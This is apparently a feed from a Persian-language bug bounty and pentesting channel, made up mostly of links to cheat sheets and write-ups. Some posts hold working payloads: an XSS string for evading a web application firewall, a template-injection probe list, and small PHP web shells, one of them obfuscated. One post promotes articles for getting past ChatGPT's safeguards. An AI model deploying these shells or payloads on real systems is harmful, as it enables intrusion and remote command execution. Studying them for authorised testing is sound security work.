🗒 Bug Bounty Cheat Sheets
XSS:
https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/xss.md
https://github.com/ismailtasdelen/xss-payload-list
SQLI:
https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/sqli.md
@PenTest_Tm
Google dorks
Link1
Link2
Link3
Link4
Link5
Link6
Link7
@PenTest_Tm
🗒 How I Found Multiple XSS Vulnerabilities Using Unknown Techniques
https://infosecwriteups.com/how-i-found-multiple-xss-vulnerabilities-using-unknown-techniques-74f8e705ea0d
@PenTest_Tm
🗒 One-click Account Take Over
https://dynnyd20.medium.com/one-click-account-take-over-e500929656ea
@PenTest_Tm
🗒Open Redirect via Non\-Latin Subdomain in vcc\-\*\.8x8\.com/AGUI/test\.php
https://hackerone.com/reports/2331473
@PenTest_Tm
🗒 Cross-Site Scripting (XSS) Explained!
How to Bug Bounty
https://www.youtube.com/watch?v=ej2O4lOUzRc
@PenTest_Tm
🗒 bypass XSS Cloudflare WAF
Encoded Payload
"><track/onerror='confirm\%601\%60'>
Clean Payload
"><track/onerror='confirm1'>
@PenTest_Tm
🗒 I Hacked Another File Upload Website
https://www.youtube.com/watch?v=BJhTZlg5Ig8
🗒 ChatGPT for Cybersecurity
-|Part 4
قسمت چهارم مقاله ی چت جی پی تی
@PenTest_Tm
🗒 ChatGPT for CyberSecurity
-| Part 2
قسمت دوم مقاله ی چت جی پی تی
@PenTest_Tm
🗒 Web PenTesting Checklist
یکی از کامل ترین چک لیست هایی که تا حالا دیدم حتما ازش استفاده کنین 👌
@PenTest_Tm
Log files Dorks
Universal for Google, Bing etc:
https://github.com/Proviesec/google-dorks/blob/main/google-dorks-best-log.txt
@PenTest_Tm
🗒 Login Bypass
https://rajput623929.medium.com/bug-bounty-tutorial-login-bypass-technique-d7508856b2a1
@PenTest_Tm
@cryptosignalsfree12
بچهایی که تو کار کریپتو هستن میتونید استفاده کنید
🗒 Server Side Template Injection Payload List
{7*7}
*{7*7}
{{7*7}}
[[7*7]]
${7*7}
@(7*7)
<?=7*7?>
<%= 7*7 %>
${= 7*7}
{{= 7*7}}
${{7*7}}
#{7*7}
[=7*7]
🗒 How we applied advanced fuzzing techniques to cURL
https://blog.trailofbits.com/2024/03/01/toward-more-effective-curl-fuzzing/
@PenTest_Tm
🗒 Bypass Cloudflare protected sites with sqlmap
بچها یه مقاله عالی برای بایپس WAF با sqlmap
pkhadka56/bypass-cloudflare-protected-sites-with-sqlmap-64b1644b0414" rel="nofollow">https://medium.com/@pkhadka56/bypass-cloudflare-protected-sites-with-sqlmap-64b1644b0414
@PenTest_Tm
🗒 TBHM - The Bug Hunter's Methodology
دوره حقیه کسایی که زبانشون خوبه ببینن
Source : Hide01
@PenTest_Tm
🗒 mini PHP Payload
*<?=$_GET[0]?>
<?=$_POST[0]?>
<?={$_REQUEST['_']}?>
*
Usage :
Target.com/path/to/shell.php?0=command*
<?=$_="";$_="'";$_=($_^chr(4*4*(5+5)-40)).($_^chr(47+ord(1==1))).($_^chr(ord('_')+3)).($_^chr(((10*10)+(5*3))));$_=${$_}['_'^'o'];echo`$_`?>
🗒 ChatGPT for Cybersecurity
-|Part 3
قسمت سوم مقاله ی چت جی پی تی
@PenTest_Tm
🗒 ChatGPT for CyberSecurity
-| Part 1
دوستانی که میخوان چت جی پی تی رو بایپس کنن و ازش برای اهدافشون کمک بگیرن مفیده بخونید👌
@PenTest_Tm